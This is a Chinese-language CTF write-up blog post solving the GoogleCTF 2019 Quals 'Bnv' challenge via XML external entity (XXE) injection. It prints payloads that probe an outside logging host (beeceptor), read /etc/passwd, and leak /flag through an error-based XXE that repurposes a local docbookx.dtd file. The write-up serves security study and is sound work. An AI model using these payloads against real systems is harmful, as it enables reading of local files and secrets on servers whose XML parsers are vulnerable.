刷题笔记:[GoogleCTF2019 Quals]Bnv


前言

xxe题,做的很少。

题解

某个师傅曾言

有json的地方就可能有xxe

这样提示需要声明元素message

声明下实体

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ELEMENT message (#PCDATA)>
    <!ENTITY b "123401012350240234">
]>
<message>&b;</message>

请求成功。

接下来利用https://beeceptor.com/

这个网站可以创建个临时域名并保存对该域名的请求日志

尝试加载外部实体

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY b "123401012350240234">
    <!ENTITY % remote-dtd SYSTEM "https://asdfasd.free.beeceptor.com/">
    %remote-dtd;
]>
<message>&b;</message>

可惜加载失败

尝试加载内部文件

<?xml version="1.0"?>
<!DOCTYPE message [
    <!ENTITY b "123401012350240234">
    <!ENTITY % remote-dtd SYSTEM "/etc/passwd">
    %remote-dtd;
]>
<message>&b;</message>

error detected in Markup declaration

在标记声明中检测到错误。

说明已经被加载了,但不是个格式正确的xml文件所以中断了。

加载/flag,报错一致,说明/flag文件存在,接下来就是考虑如何读取。

It works because all XML entities are constant. If you define two entities with the same name, only the first one will be used.

这能正常工作是因为xml实体都是常数,如果定义了两个实体为同一个名字,则只有第一个实体会被使用。

而在题目中,读取了一个错误的实体,会返回完整的实体名。

假设第一次读取**/flag实体,第二次把/flag的里的值当做实体来读取,明显/flag的里的值**这个实体不存在,然后就会报错返回,这样就拿到flag了。

利用系统自带的dtd文件。

payload

<?xml version="1.0"?>
<!DOCTYPE message[
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
    <!ENTITY % ISOamso '
    <!ENTITY &#x25; file SYSTEM "file:///flag">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///aaaaa/&#x25;file;&#x27;>">
    &#x25;eval;
    &#x25;error;
'>
%local_dtd;
]>

奇文共赏

Exploiting XXE with local DTD files


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录